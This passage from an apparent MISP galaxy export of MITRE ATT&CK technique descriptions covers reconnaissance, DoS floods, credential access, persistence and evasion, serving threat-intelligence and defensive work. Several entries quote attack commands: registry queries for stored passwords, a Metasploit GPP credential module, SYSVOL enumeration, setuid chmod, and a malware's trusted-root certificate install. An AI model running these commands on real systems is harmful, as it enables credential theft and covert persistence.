Once malicious home pages have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004"*

## Identify Business Tempo - T1591.003

Before compromising a victim, adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization's business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Supply Chain Compromise](<https://attack.mitre.org/techniques/T1195>) or [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>))

## Setuid and Setgid - T1548.001

An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user's context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user's context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn't need the elevated privileges.

Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via `ls -l`. The `chmod` program can set these bits with via bitmasking, `chmod 4777 [file]` or via shorthand naming, `chmod u+s [file]`.

Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnab malware).

## Direct Network Flood - T1498.001

Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](<https://attack.mitre.org/techniques/T1498/001>) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

## OS Exhaustion Flood - T1499.001

Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual

resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.

Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)

ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)

## Domain Controller Authentication - T1556.001

Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.

Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user's account and/or credentials (ex: [Skeleton Key](<https://attack.mitre.org/software/S0007>)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor

authentication environments.(Citation: Dell Skeleton)

## Stored Data Manipulation - T1565.001

Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

## Social Media Accounts - T1585.001

Before compromising a victim, adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or

incorporating photos.

Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service])(<https://attack.mitre.org/techniques/T1566/003>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001"*

## Scanning IP Blocks - T1595.001

Before compromising a victim, adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.

Adversaries may scan IP blocks in order to [Gather Victim Network Information](<https://attack.mitre.org/techniques/T1590>), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>)).

## Component Object Model - T1559.001

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)

Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](<https://attack.mitre.org/techniques/T1059/005>). (Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

## Social Media Accounts - T1586.001

Before compromising a victim, adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](<https://attack.mitre.org/techniques/T1585/001>)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](<https://attack.mitre.org/techniques/T1566/003>)).

## Fast Flux DNS - T1568.001

Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)

The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)

In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001"*

## Threat Intel Vendors - T1597.001

Before compromising a victim, adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures. (Citation: D3Security CTI Feeds)

Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [Exploit Public-Facing Application](<https://attack.mitre.org/techniques/T1190>) or [External Remote Services](<https://attack.mitre.org/techniques/T1133>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Threat Intel Vendors - T1597.001"*

## Credentials in Registry - T1552.002

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: `reg query HKLM /f password /t REG_SZ /s`
- Current User Hive: `reg query HKCU /f password /t REG_SZ /s`

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002"*

## Service Exhaustion Flood - T1499.002

Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)

Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)

## Password Filter DLL - T1556.002

Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002"*

## Transmitted Data Manipulation - T1565.002

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

## Group Policy Preferences - T1552.006

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

- Metasploit's post exploitation module: `post/windows/gather/credentials/gpp`
- Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
- gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: `dir /s * .xml`

The tag is: *misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006"*

## ARP Cache Poisoning - T1557.002

Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](<https://attack.mitre.org/techniques/T1040>) or [Transmitted Data Manipulation](<https://attack.mitre.org/techniques/T1565/002>).

The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address

directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)

Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)

## Dynamic Data Exchange - T1559.002

Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](<https://attack.mitre.org/techniques/T1566>) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be

leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](<https://attack.mitre.org/techniques/T1059>).

## Domain Generation Algorithms - T1568.002

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyula.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](<https://attack.mitre.org/techniques/T1008>). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

## Disable Cloud Logs - T1562.008

An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.

Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)

## Create Cloud Instance - T1578.002

An adversary may create a new instance or virtual machine (VM) within the compute service of a

cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](<https://attack.mitre.org/techniques/T1578/001>) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](<https://attack.mitre.org/techniques/T1005>) or for [Remote Data Staging](<https://attack.mitre.org/techniques/T1074/002>). (Citation: Mandiant M-Trends 2020)

Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002"*

<a href="https://cloud.google.com/logging/docs/audit#admin-activity">https://cloud.google.com/logging/docs/audit#admin-activity</a>

## Code Signing Certificates - T1587.002

Before compromising a victim, adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. (Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to [Code Signing](<https://attack.mitre.org/techniques/T1553/002>), adversaries may develop self-signed code signing certificates for use in operations.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1587.002"*

## Purchase Technical Data - T1597.002

Before compromising a victim, adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within

reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim's infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>) or [Valid Accounts](<https://attack.mitre.org/techniques/T1078>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Purchase Technical Data - T1597.002"*

## Virtual Private Server - T1583.003

Before compromising a victim, adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.

Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)

The tag is: *misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003"*

# Install Root Certificate - T1553.004

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses `/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert` to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

## Virtual Private Server - T1584.003

Before compromising a victim, adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)

Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.

## Time Based Evasion - T1497.003

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](<https://attack.mitre.org/techniques/T1104>) to avoid analysis and scrutiny.

The tag is: *misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"*

*Table 3263. Table References*

Links

<https://attack.mitre.org/techniques/T1497/003>

## Application Exhaustion Flood - T1499.003

Adversaries may target resource intensive features of web applications to cause a denial of service

(DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)

## Pluggable Authentication Modules - T1556.003

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is `pam_unix.so`, which retrieves, sets, and verifies account authentication information in `/etc/passwd` and `/etc/shadow`.(Citation: Apple PAM)(Citation: Man Pam\_Unix)(Citation: Red Hat PAM)

Adversaries may modify components of the PAM system to create backdoors. PAM components, such as `pam_unix.so`, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)

The tag is: *misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003"*

## Runtime Data Manipulation - T1565.003

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](<https://attack.mitre.org/techniques/T1546/001>) and [Masquerading](<https://attack.mitre.org/techniques/T1036>) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003"*

## Spearphishing via Service - T1566.003

Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary

can continue normal communications and troubleshoot with the target on how to get it working.

## Code Signing Certificates - T1588.003

Before compromising a victim, adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to [Code Signing](<https://attack.mitre.org/techniques/T1553/002>), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.

## NTFS File Attributes - T1564.004

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

## Winlogon Helper DLL - T1547.004

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the

secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in `HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\` and `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\` are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

## Network Device Authentication - T1556.004

